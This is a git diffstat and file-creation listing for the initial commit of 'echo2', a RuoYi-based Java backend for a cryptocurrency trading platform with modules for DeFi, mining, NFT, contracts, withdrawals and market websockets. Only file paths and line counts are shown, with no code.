.../bussiness/domain/dto/AddressHashDTO.java | 36 + .../bussiness/domain/dto/DefiActivityDTO.java | 57 + .../bussiness/domain/dto/DefiOrderDTO.java | 55 + .../bussiness/domain/dto/DefiRateDTO.java | 37 + .../domain/dto/TontractRequstDto.java | 26 + .../domain/dto/UserInvestmentDto.java | 29 + .../domain/setting/AddMosaicSetting.java | 16 + .../domain/setting/AppSidebarSetting.java | 53 + .../domain/setting/AssetCoinSetting.java | 36 + .../domain/setting/AuthLimitSetting.java | 26 + .../bussiness/domain/setting/BaseSetting.java | 10 + .../domain/setting/BottomMenuSetting.java | 17 + .../domain/setting/DefiIncomeSetting.java | 14 + .../domain/setting/DownloadSetting.java | 12 + .../domain/setting/EmailSetting.java | 17 + .../setting/FinancialRebateSetting.java | 26 + .../setting/FinancialSettlementSetting.java | 20 + .../domain/setting/HomeCoinSetting.java | 14 + .../bussiness/domain/setting/LoadSetting.java | 13 + .../domain/setting/LoginRegisSetting.java | 19 + .../bussiness/domain/setting/LogoSetting.java | 15 + .../domain/setting/MarketUrlSetting.java | 22 + .../domain/setting/MiddleMenuSetting.java | 17 + .../domain/setting/MingSettlementSetting.java | 20 + .../bussiness/domain/setting/OssSetting.java | 31 + .../domain/setting/PlatformSetting.java | 12 + .../domain/setting/PlayingSetting.java | 15 + .../domain/setting/RechargeRebateSetting.java | 23 + .../bussiness/domain/setting/Setting.java | 26 + .../bussiness/domain/setting/SmsSetting.java | 17 + .../domain/setting/SupportStaffSetting.java | 13 + .../setting/TRechargeChannelSetting.java | 55 + .../bussiness/domain/setting/TabSetting.java | 19 + .../domain/setting/TgBotSetting.java | 11 + .../domain/setting/ThirdPaySetting.java | 39 + .../domain/setting/VipDirectionsSetting.java | 18 + .../domain/setting/VipLevelSetting.java | 92 + .../domain/setting/VoiceSetting.java | 23 + .../domain/setting/WhiteIpSetting.java | 12 + .../domain/setting/WhitePaperSetting.java | 8 + .../domain/vo/AgencyAppUserDataVo.java | 32 + .../bussiness/domain/vo/AgencyDataVo.java | 32 + .../domain/vo/AssetTransFundsVO.java | 27 + .../bussiness/domain/vo/DailyDataVO.java | 40 + .../com/ruoyi/bussiness/domain/vo/OwnVO.java | 13 + .../ruoyi/bussiness/domain/vo/RecallVO.java | 13 + .../bussiness/domain/vo/RecoedEnumVO.java | 10 + .../bussiness/domain/vo/SecondCoinCopyVO.java | 9 + .../domain/vo/SymbolCoinConfigVO.java | 80 + .../ruoyi/bussiness/domain/vo/SysDataVO.java | 28 + .../domain/vo/TAgentActivityInfoVo.java | 59 + .../bussiness/domain/vo/TBotKlineModelVO.java | 71 + .../ruoyi/bussiness/domain/vo/TOwnCoinVO.java | 107 + .../bussiness/domain/vo/UserBonusVO.java | 27 + .../ruoyi/bussiness/domain/vo/UserDataVO.java | 44 + .../bussiness/domain/vo/WithdrawFreezeVO.java | 12 + .../bussiness/mapper/DefiActivityMapper.java | 65 + .../bussiness/mapper/DefiOrderMapper.java | 66 + .../bussiness/mapper/DefiRateMapper.java | 66 + .../bussiness/mapper/KlineSymbolMapper.java | 61 + .../ruoyi/bussiness/mapper/SettingMapper.java | 13 + .../mapper/TActivityRechargeMapper.java | 62 + .../mapper/TAgentActivityInfoMapper.java | 72 + .../mapper/TAppAddressInfoMapper.java | 65 + .../bussiness/mapper/TAppAssetMapper.java | 77 + .../bussiness/mapper/TAppMailMapper.java | 61 + .../bussiness/mapper/TAppRechargeMapper.java | 81 + .../mapper/TAppUserDetailMapper.java | 69 + .../bussiness/mapper/TAppUserMapper.java | 82 + .../mapper/TAppWalletRecordMapper.java | 81 + .../mapper/TAppuserLoginLogMapper.java | 62 + .../mapper/TBotKlineModelInfoMapper.java | 71 + .../mapper/TBotKlineModelMapper.java | 75 + .../mapper/TCollectionOrderMapper.java | 72 + .../bussiness/mapper/TContractCoinMapper.java | 64 + .../bussiness/mapper/TContractLossMapper.java | 66 + .../mapper/TContractOrderMapper.java | 61 + .../mapper/TContractPositionMapper.java | 61 + .../mapper/TCurrencyOrderMapper.java | 63 + .../mapper/TCurrencySymbolMapper.java | 65 + .../mapper/TExchangeCoinRecordMapper.java | 66 + .../mapper/THelpCenterInfoMapper.java | 63 + .../bussiness/mapper/THelpCenterMapper.java | 65 + .../bussiness/mapper/THomeSetterMapper.java | 61 + .../bussiness/mapper/TLoadOrderMapper.java | 63 + .../bussiness/mapper/TLoadProductMapper.java | 61 + .../bussiness/mapper/TMarketsMapper.java | 61 + .../mapper/TMineFinancialMapper.java | 62 + .../bussiness/mapper/TMineOrderDayMapper.java | 63 + .../bussiness/mapper/TMineOrderMapper.java | 62 + .../bussiness/mapper/TMineUserMapper.java | 62 + .../bussiness/mapper/TMingOrderMapper.java | 65 + .../bussiness/mapper/TMingProductMapper.java | 61 + .../mapper/TMingProductUserMapper.java | 61 + .../bussiness/mapper/TNftOrderMapper.java | 61 + .../bussiness/mapper/TNftProductMapper.java | 61 + .../bussiness/mapper/TNftSeriesMapper.java | 61 + .../ruoyi/bussiness/mapper/TNoticeMapper.java | 61 + .../bussiness/mapper/TOptionRulesMapper.java | 61 + .../bussiness/mapper/TOwnCoinMapper.java | 61 + .../bussiness/mapper/TOwnCoinOrderMapper.java | 64 + .../mapper/TOwnCoinSubscribeOrderMapper.java | 77 + .../mapper/TSecondCoinConfigMapper.java | 65 + .../mapper/TSecondContractOrderMapper.java | 62 + .../mapper/TSecondPeriodConfigMapper.java | 62 + .../mapper/TSpontaneousCoinMapper.java | 61 + .../bussiness/mapper/TSymbolManageMapper.java | 64 + .../bussiness/mapper/TSymbolsMapper.java | 61 + .../bussiness/mapper/TUserBankMapper.java | 61 + .../bussiness/mapper/TUserCoinMapper.java | 8 + .../mapper/TUserSymbolAddressMapper.java | 61 + .../bussiness/mapper/TWithdrawMapper.java | 79 + .../ruoyi/bussiness/service/FileService.java | 9 + .../service/IDefiActivityService.java | 62 + .../bussiness/service/IDefiOrderService.java | 67 + .../bussiness/service/IDefiRateService.java | 83 + .../service/IKlineSymbolService.java | 62 + .../service/ITActivityRechargeService.java | 67 + .../service/ITAgentActivityInfoService.java | 71 + .../service/ITAppAddressInfoService.java | 75 + .../bussiness/service/ITAppAssetService.java | 108 + .../bussiness/service/ITAppMailService.java | 67 + .../service/ITAppRechargeService.java | 79 + .../service/ITAppUserDetailService.java | 65 + .../bussiness/service/ITAppUserService.java | 126 + .../service/ITAppWalletRecordService.java | 82 + .../service/ITAppuserLoginLogService.java | 68 + .../service/ITBotKlineModelInfoService.java | 65 + .../service/ITBotKlineModelService.java | 80 + .../service/ITCollectionOrderService.java | 73 + .../service/ITContractCoinService.java | 68 + .../service/ITContractLossService.java | 67 + .../service/ITContractOrderService.java | 103 + .../service/ITContractPositionService.java | 113 + .../service/ITCurrencyOrderService.java | 83 + .../service/ITCurrencySymbolService.java | 68 + .../service/ITExchangeCoinRecordService.java | 73 + .../service/ITHelpCenterInfoService.java | 63 + .../service/ITHelpCenterService.java | 65 + .../service/ITHomeSetterService.java | 62 + .../bussiness/service/ITLoadOrderService.java | 71 + .../service/ITLoadProductService.java | 62 + .../bussiness/service/ITMarketsService.java | 61 + .../service/ITMineFinancialService.java | 71 + .../service/ITMineOrderDayService.java | 64 + .../bussiness/service/ITMineOrderService.java | 63 + .../bussiness/service/ITMineUserService.java | 63 + .../bussiness/service/ITMingOrderService.java | 82 + .../service/ITMingProductService.java | 62 + .../service/ITMingProductUserService.java | 62 + .../bussiness/service/ITNftOrderService.java | 62 + .../service/ITNftProductService.java | 62 + .../bussiness/service/ITNftSeriesService.java | 62 + .../bussiness/service/ITNoticeService.java | 62 + .../service/ITOptionRulesService.java | 62 + .../service/ITOwnCoinOrderService.java | 81 + .../bussiness/service/ITOwnCoinService.java | 137 + .../service/ITSecondCoinConfigService.java | 76 + .../service/ITSecondContractOrderService.java | 65 + .../service/ITSecondPeriodConfigService.java | 65 + .../service/ITSpontaneousCoinService.java | 62 + .../service/ITSymbolManageService.java | 67 + .../bussiness/service/ITSymbolsService.java | 61 + .../bussiness/service/ITUserBankService.java | 62 + .../bussiness/service/ITUserCoinService.java | 10 + .../service/ITUserSymbolAddressService.java | 75 + .../bussiness/service/ITWithdrawService.java | 79 + .../bussiness/service/SettingService.java | 37 + .../ruoyi/bussiness/service/SmsService.java | 7 + .../bussiness/service/ThirdPayFactory.java | 27 + .../bussiness/service/ThirdPayOutFactory.java | 27 + .../bussiness/service/ThirdPayOutService.java | 17 + .../bussiness/service/ThirdPayService.java | 18 + .../service/impl/DefiActivityServiceImpl.java | 96 + .../service/impl/DefiOrderServiceImpl.java | 114 + .../service/impl/DefiRateServiceImpl.java | 294 + .../service/impl/FileServiceImpl.java | 46 + .../service/impl/ITUserCoinServiceImpl.java | 22 + .../service/impl/KlineSymbolServiceImpl.java | 93 + .../service/impl/SettingServiceImpl.java | 50 + .../service/impl/SmsServiceImpl.java | 37 + .../impl/TActivityRechargeServiceImpl.java | 198 + .../impl/TAgentActivityInfoServiceImpl.java | 137 + .../impl/TAppAddressInfoServiceImpl.java | 565 + .../service/impl/TAppAssetServiceImpl.java | 364 + .../service/impl/TAppMailServiceImpl.java | 242 + .../service/impl/TAppRechargeServiceImpl.java | 294 + .../impl/TAppUserDetailServiceImpl.java | 109 + .../service/impl/TAppUserServiceImpl.java | 822 ++ .../impl/TAppWalletRecordServiceImpl.java | 213 + .../impl/TAppuserLoginLogServiceImpl.java | 128 + .../impl/TBotKlineModelInfoServiceImpl.java | 284 + .../impl/TBotKlineModelServiceImpl.java | 247 + .../impl/TCollectionOrderServiceImpl.java | 120 + .../impl/TContractCoinServiceImpl.java | 174 + .../impl/TContractLossServiceImpl.java | 195 + .../impl/TContractOrderServiceImpl.java | 327 + .../impl/TContractPositionServiceImpl.java | 635 + .../impl/TCurrencyOrderServiceImpl.java | 499 + .../impl/TCurrencySymbolServiceImpl.java | 212 + .../impl/TExchangeCoinRecordServiceImpl.java | 328 + .../impl/THelpCenterInfoServiceImpl.java | 104 + .../service/impl/THelpCenterServiceImpl.java | 109 + .../service/impl/THomeSetterServiceImpl.java | 96 + .../service/impl/TLoadOrderServiceImpl.java | 210 + .../service/impl/TLoadProductServiceImpl.java | 96 + .../service/impl/TMarketsServiceImpl.java | 93 + .../impl/TMineFinancialServiceImpl.java | 373 + .../impl/TMineOrderDayServiceImpl.java | 99 + .../service/impl/TMineOrderServiceImpl.java | 105 + .../service/impl/TMineUserServiceImpl.java | 94 + .../service/impl/TMingOrderServiceImpl.java | 264 + .../service/impl/TMingProductServiceImpl.java | 96 + .../impl/TMingProductUserServiceImpl.java | 101 + .../service/impl/TNftOrderServiceImpl.java | 96 + .../service/impl/TNftProductServiceImpl.java | 103 + .../service/impl/TNftSeriesServiceImpl.java | 101 + .../service/impl/TNoticeServiceImpl.java | 109 + .../service/impl/TOptionRulesServiceImpl.java | 95 + .../impl/TOwnCoinOrderServiceImpl.java | 320 + .../service/impl/TOwnCoinServiceImpl.java | 349 + .../impl/TSecondCoinConfigServiceImpl.java | 279 + .../impl/TSecondContractOrderServiceImpl.java | 230 + .../impl/TSecondPeriodConfigServiceImpl.java | 113 + .../impl/TSpontaneousCoinServiceImpl.java | 144 + .../impl/TSymbolManageServiceImpl.java | 165 + .../service/impl/TSymbolsServiceImpl.java | 93 + .../service/impl/TUserBankServiceImpl.java | 96 + .../impl/TUserSymbolAddressServiceImpl.java | 184 + .../service/impl/TWithdrawServiceImpl.java | 536 + .../service/impl/UncPayOutServiceImpl.java | 94 + .../service/impl/UncPayServiceImpl.java | 68 + .../java/com/ruoyi/socket/config/KLoader.java | 20 + .../config/SocketThreadPoolTaskConfig.java | 52 + .../ruoyi/socket/config/WebSocketConfig.java | 46 + .../socket/constants/SocketTypeConstants.java | 34 + .../java/com/ruoyi/socket/dto/BinanceDTO.java | 11 + .../com/ruoyi/socket/dto/DetailTickBean.java | 17 + .../com/ruoyi/socket/dto/KlineTickBean.java | 20 + .../java/com/ruoyi/socket/dto/MessageVo.java | 9 + .../java/com/ruoyi/socket/dto/NoticeVO.java | 13 + .../java/com/ruoyi/socket/dto/SocketDto.java | 10 + .../com/ruoyi/socket/dto/SocketMessageVo.java | 10 + .../com/ruoyi/socket/dto/TradeDataBean.java | 13 + .../com/ruoyi/socket/dto/TradeTickBean.java | 11 + .../com/ruoyi/socket/dto/WsCoinSubVO.java | 19 + .../java/com/ruoyi/socket/dto/WsSubBO.java | 15 + .../main/java/com/ruoyi/socket/dto/WsVO.java | 11 + .../manager/BianaceWebSocketClient.java | 639 + .../socket/manager/WebSocketUserManager.java | 856 ++ .../ruoyi/socket/service/MarketThread.java | 17 + .../service/impl/MarketThreadBinanceImpl.java | 294 + .../service/impl/MarketThreadEnergy.java | 116 + .../service/impl/MarketThreadHuoBiImpl.java | 122 + .../service/impl/MarketThreadMetal.java | 94 + .../socket/service/impl/MarketThreadMt5.java | 109 + .../socketserver/WebSocketCoinOver.java | 201 + .../socket/socketserver/WebSocketNotice.java | 194 + .../socket/socketserver/WebSocketServers.java | 196 + .../socketserver/WebSocketSubCoins.java | 177 + .../com/ruoyi/system/domain/SysCache.java | 81 + .../com/ruoyi/system/domain/SysConfig.java | 111 + .../ruoyi/system/domain/SysLogininfor.java | 144 + .../com/ruoyi/system/domain/SysNotice.java | 102 + .../com/ruoyi/system/domain/SysOperLog.java | 269 + .../java/com/ruoyi/system/domain/SysPost.java | 124 + .../com/ruoyi/system/domain/SysRoleDept.java | 46 + .../com/ruoyi/system/domain/SysRoleMenu.java | 46 + .../ruoyi/system/domain/SysUserOnline.java | 113 + .../com/ruoyi/system/domain/SysUserPost.java | 46 + .../com/ruoyi/system/domain/SysUserRole.java | 46 + .../com/ruoyi/system/domain/vo/MetaVo.java | 106 + .../com/ruoyi/system/domain/vo/RouterVo.java | 148 + .../ruoyi/system/mapper/SysConfigMapper.java | 76 + .../ruoyi/system/mapper/SysDeptMapper.java | 118 + .../system/mapper/SysDictDataMapper.java | 97 + .../system/mapper/SysDictTypeMapper.java | 83 + .../system/mapper/SysLogininforMapper.java | 42 + .../ruoyi/system/mapper/SysMenuMapper.java | 125 + .../ruoyi/system/mapper/SysNoticeMapper.java | 60 + .../ruoyi/system/mapper/SysOperLogMapper.java | 48 + .../ruoyi/system/mapper/SysPostMapper.java | 99 + .../system/mapper/SysRoleDeptMapper.java | 44 + .../ruoyi/system/mapper/SysRoleMapper.java | 107 + .../system/mapper/SysRoleMenuMapper.java | 44 + .../ruoyi/system/mapper/SysUserMapper.java | 137 + .../system/mapper/SysUserPostMapper.java | 44 + .../system/mapper/SysUserRoleMapper.java | 62 + .../system/service/ISysConfigService.java | 89 + .../ruoyi/system/service/ISysDeptService.java | 124 + .../system/service/ISysDictDataService.java | 60 + .../system/service/ISysDictTypeService.java | 98 + .../system/service/ISysLogininforService.java | 40 + .../ruoyi/system/service/ISysMenuService.java | 144 + .../system/service/ISysNoticeService.java | 60 + .../system/service/ISysOperLogService.java | 48 + .../ruoyi/system/service/ISysPostService.java | 99 + .../ruoyi/system/service/ISysRoleService.java | 173 + .../system/service/ISysStatisticsService.java | 17 + .../system/service/ISysUserOnlineService.java | 48 + .../ruoyi/system/service/ISysUserService.java | 216 + .../service/impl/SysConfigServiceImpl.java | 232 + .../service/impl/SysDeptServiceImpl.java | 338 + .../service/impl/SysDictDataServiceImpl.java | 121 + .../service/impl/SysDictTypeServiceImpl.java | 223 + .../impl/SysLogininforServiceImpl.java | 65 + .../service/impl/SysMenuServiceImpl.java | 531 + .../service/impl/SysNoticeServiceImpl.java | 92 + .../service/impl/SysOperLogServiceImpl.java | 76 + .../service/impl/SysPostServiceImpl.java | 178 + .../service/impl/SysRoleServiceImpl.java | 427 + .../impl/SysStatisticsServiceImpl.java | 216 + .../impl/SysUserOnlineServiceImpl.java | 96 + .../service/impl/SysUserServiceImpl.java | 625 + .../com/ruoyi/telegrambot/MyTelegramBot.java | 90 + .../ruoyi/telegrambot/TelegramBotConfig.java | 64 + .../java/com/ruoyi/udun/client/UdunApi.java | 113 + .../com/ruoyi/udun/client/UdunClient.java | 186 + .../java/com/ruoyi/udun/constant/ApiPath.java | 15 + .../java/com/ruoyi/udun/domain/Address.java | 31 + .../main/java/com/ruoyi/udun/domain/Coin.java | 78 + .../java/com/ruoyi/udun/domain/ResultMsg.java | 40 + .../java/com/ruoyi/udun/domain/Trade.java | 125 + .../ruoyi/udun/exception/UdunException.java | 28 + .../com/ruoyi/util/BotMessageBuildUtils.java | 85 + .../main/java/com/ruoyi/util/EmailUtils.java | 197 + .../mapper/bussiness/DefiActivityMapper.xml | 116 + .../mapper/bussiness/DefiOrderMapper.xml | 115 + .../mapper/bussiness/DefiRateMapper.xml | 103 + .../mapper/bussiness/KlineSymbolMapper.xml | 87 + .../bussiness/TActivityRechargeMapper.xml | 82 + .../bussiness/TAgentActivityInfoMapper.xml | 156 + .../bussiness/TAppAddressInfoMapper.xml | 138 + .../mapper/bussiness/TAppAssetMapper.xml | 210 + .../mapper/bussiness/TAppMailMapper.xml | 100 + .../mapper/bussiness/TAppRechargeMapper.xml | 445 + .../mapper/bussiness/TAppUserDetailMapper.xml | 209 + .../mapper/bussiness/TAppUserMapper.xml | 322 + .../bussiness/TAppWalletRecordMapper.xml | 349 + .../bussiness/TAppuserLoginLogMapper.xml | 97 + .../bussiness/TBotKlineModelInfoMapper.xml | 110 + .../mapper/bussiness/TBotKlineModelMapper.xml | 159 + .../bussiness/TCollectionOrderMapper.xml | 157 + .../mapper/bussiness/TContractCoinMapper.xml | 206 + .../mapper/bussiness/TContractLossMapper.xml | 140 + .../mapper/bussiness/TContractOrderMapper.xml | 159 + .../bussiness/TContractPositionMapper.xml | 237 + .../mapper/bussiness/TCurrencyOrderMapper.xml | 178 + .../bussiness/TCurrencySymbolMapper.xml | 194 + .../mapper/bussiness/TDefiOrderMapper.xml | 101 + .../bussiness/TExchangeCoinRecordMapper.xml | 160 + .../bussiness/THelpCenterInfoMapper.xml | 108 + .../mapper/bussiness/THelpCenterMapper.xml | 147 + .../mapper/bussiness/THomeSetterMapper.xml | 110 + .../mapper/bussiness/TLoadOrderMapper.xml | 209 + .../mapper/bussiness/TLoadProductMapper.xml | 123 + .../mapper/bussiness/TMarketsMapper.xml | 83 + .../mapper/bussiness/TMineFinancialMapper.xml | 191 + .../mapper/bussiness/TMineOrderDayMapper.xml | 92 + .../mapper/bussiness/TMineOrderMapper.xml | 161 + .../mapper/bussiness/TMineUserMapper.xml | 63 + .../mapper/bussiness/TMingOrderMapper.xml | 146 + .../mapper/bussiness/TMingProductMapper.xml | 137 + .../bussiness/TMingProductUserMapper.xml | 111 + .../mapper/bussiness/TNftOrderMapper.xml | 102 + .../mapper/bussiness/TNftProductMapper.xml | 146 + .../mapper/bussiness/TNftSeriesMapper.xml | 115 + .../mapper/bussiness/TNoticeMapper.xml | 147 + .../mapper/bussiness/TOptionRulesMapper.xml | 85 + .../mapper/bussiness/TOwnCoinMapper.xml | 152 + .../mapper/bussiness/TOwnCoinOrderMapper.xml | 112 + .../TOwnCoinSubscribeOrderMapper.xml | 117 + .../bussiness/TSecondCoinConfigMapper.xml | 145 + .../bussiness/TSecondContractOrderMapper.xml | 167 + .../bussiness/TSecondPeriodConfigMapper.xml | 113 + .../bussiness/TSpontaneousCoinMapper.xml | 106 + .../mapper/bussiness/TSymbolManageMapper.xml | 132 + .../mapper/bussiness/TSymbolsMapper.xml | 73 + .../mapper/bussiness/TUserBankMapper.xml | 126 + .../mapper/bussiness/TUserCoinMapper.xml | 18 + .../bussiness/TUserSymbolAddressMapper.xml | 68 + .../mapper/bussiness/TWithdrawMapper.xml | 362 + .../mapper/system/SysConfigMapper.xml | 117 + .../resources/mapper/system/SysDeptMapper.xml | 159 + .../mapper/system/SysDictDataMapper.xml | 135 + .../mapper/system/SysDictTypeMapper.xml | 105 + .../mapper/system/SysLogininforMapper.xml | 57 + .../resources/mapper/system/SysMenuMapper.xml | 202 + .../mapper/system/SysNoticeMapper.xml | 89 + .../mapper/system/SysOperLogMapper.xml | 84 + .../resources/mapper/system/SysPostMapper.xml | 122 + .../mapper/system/SysRoleDeptMapper.xml | 34 + .../resources/mapper/system/SysRoleMapper.xml | 155 + .../mapper/system/SysRoleMenuMapper.xml | 34 + .../resources/mapper/system/SysUserMapper.xml | 255 + .../mapper/system/SysUserPostMapper.xml | 34 + .../mapper/system/SysUserRoleMapper.xml | 44 + .../resources/templates/bindCodeEmail.ftl | 8 + ruoyi.iml | 12 + setting/settings.xml | 83 + sql/echo2.sql | 10534 ++++++++++++++++ 部署结构.txt | 17 + 1011 files changed, 123440 insertions(+) create mode 100644 .gitignore create mode 100644 bin/admin.sh create mode 100644 bin/api.sh create mode 100644 bin/clean.bat create mode 100644 bin/package.bat create mode 100644 bin/run.bat create mode 100644 doc/若依环境使用手册.docx create mode 100644 echo2.0启动脚本/admin.sh create mode 100644 echo2.0启动脚本/api.sh create mode 100644 pom.xml create mode 100644 ruoyi-admin/echo2-admin.iml create mode 100644 ruoyi-admin/pom.xml create mode 100644 ruoyi-admin/src/main/java/com/ruoyi/AdminApplication.java create mode 100644 ruoyi-admin/src/main/java/com/ruoyi/RuoYiServletInitializer.java create mode 100644 ruoyi-admin/src/main/java/com/ruoyi/TPass.java create mode 100644 ruoyi-admin/src/main/java/com/ruoyi/compent/BeeBuildCompent.java create mode 100644 ruoyi-admin/src/main/java/com/ruoyi/config/RedisStreamConfig.java create mode 100644 ruoyi-admin/src/main/java/com/ruoyi/listen/ListenerMessage.java create mode 100644 ruoyi-admin/src/main/java/com/ruoyi/web/WebMvcConfig.java create mode 100644 ruoyi-admin/src/main/java/com/ruoyi/web/WhiteIpInterceptor.java create mode 100644 ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/DefiActivityController.java create mode 100644 ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/DefiOrderController.java create mode 100644 ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/DefiRateController.java create mode 100644 ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/KlineSymbolController.java create mode 100644 ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TActivityRechargeController.java create mode 100644 ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TAgentActivityInfoController.java create mode 100644 ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TAppAddressInfoController.java create mode 100644 ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TAppAssetController.java create mode 100644 ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TAppMailController.java create mode 100644 ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TAppRechargeController.java create mode 100644 ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TAppUserController.java create mode 100644 ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TAppUserDetailController.java create mode 100644 ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TAppWalletRecordController.java create mode 100644 ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TAppuserLoginLogController.java create mode 100644 ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TBotKlineModelController.java create mode 100644 ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TCollectionOrderController.java create mode 100644 ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TContractCoinController.java create mode 100644 ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TContractLossController.java create mode 100644 ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TContractOrderController.java create mode 100644 ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TContractPositionController.java create mode 100644 ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TCurrencyOrderController.java create mode 100644 ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TCurrencySymbolController.java create mode 100644 ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TExchangeCoinRecordController.java create mode 100644 ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/THelpCenterController.java create mode 100644 ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/THelpCenterInfoController.java create mode 100644 ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/THomeSetterController.java create mode 100644 ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TLoadOrderController.java create mode 100644 ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TLoadProductController.java create mode 100644 ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TMarketsController.java create mode 100644 ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TMineFinancialController.java create mode 100644 ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TMineOrderController.java create mode 100644 ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TMineOrderDayController.java create mode 100644 ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TMineUserController.java create mode 100644 ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TMingOrderController.java create mode 100644 ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TMingProductController.java create mode 100644 ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TMingProductUserController.java create mode 100644 ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TNftOrderController.java create mode 100644 ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TNftProductController.java create mode 100644 ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TNftSeriesController.java create mode 100644 ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TNoticeController.java create mode 100644 ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TOptionRulesController.java create mode 100644 ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TOwnCoinController.java create mode 100644 ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TOwnCoinOrderController.java create mode 100644 ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TSecondCoinConfigController.java create mode 100644 ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TSecondContractOrderController.java create mode 100644 ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TSecondPeriodConfigController.java create mode 100644 ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TSpontaneousCoinController.java create mode 100644 ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TSymbolManageController.java create mode 100644 ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TSymbolsController.java create mode 100644 ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TUserBankController.java create mode 100644 ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TUserSymbolAddressController.java create mode 100644 ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TWithdrawController.java create mode 100644 ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TimeZoneController.java create mode 100644 ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/UserStatisticsController.java create mode 100644 ruoyi-admin/src/main/java/com/ruoyi/web/controller/callback/MarketCallBackController.java create mode 100644 ruoyi-admin/src/main/java/com/ruoyi/web/controller/common/CaptchaController.java create mode 100644 ruoyi-admin/src/main/java/com/ruoyi/web/controller/common/CommonController.java create mode 100644 ruoyi-admin/src/main/java/com/ruoyi/web/controller/monitor/CacheController.java create mode 100644 ruoyi-admin/src/main/java/com/ruoyi/web/controller/monitor/ServerController.java create mode 100644 ruoyi-admin/src/main/java/com/ruoyi/web/controller/monitor/SysLogininforController.java create mode 100644 ruoyi-admin/src/main/java/com/ruoyi/web/controller/monitor/SysOperlogController.java create mode 100644 ruoyi-admin/src/main/java/com/ruoyi/web/controller/monitor/SysUserOnlineController.java create mode 100644 ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysConfigController.java create mode 100644 ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysDeptController.java create mode 100644 ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysDictDataController.java create mode 100644 ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysDictTypeController.java create mode 100644 ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysIndexController.java create mode 100644 ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysLoginController.java create mode 100644 ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysMenuController.java create mode 100644 ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysNoticeController.java create mode 100644 ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysPostController.java create mode 100644 ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysProfileController.java create mode 100644 ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysRegisterController.java create mode 100644 ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysRoleController.java create mode 100644 ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysSettingController.java create mode 100644 ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysStatisticsController.java create mode 100644 ruoyi-admin/src/main/java/com/ruoyi/web/controller/system/SysUserController.java create mode 100644 ruoyi-admin/src/main/java/com/ruoyi/web/controller/tool/TestController.java create mode 100644 ruoyi-admin/src/main/java/com/ruoyi/web/core/config/SwaggerConfig.java create mode 100644 ruoyi-admin/src/main/java/com/ruoyi/web/lifecycle/MySmartLifecycle.java create mode 100644 ruoyi-admin/src/main/resources/META-INF/spring-devtools.properties create mode 100644 ruoyi-admin/src/main/resources/application-aams.yml create mode 100644 ruoyi-admin/src/main/resources/application-bitbyex.yml create mode 100644 ruoyi-admin/src/main/resources/application-bitfly.yml create mode 100644 ruoyi-admin/src/main/resources/application-bitmake.yml 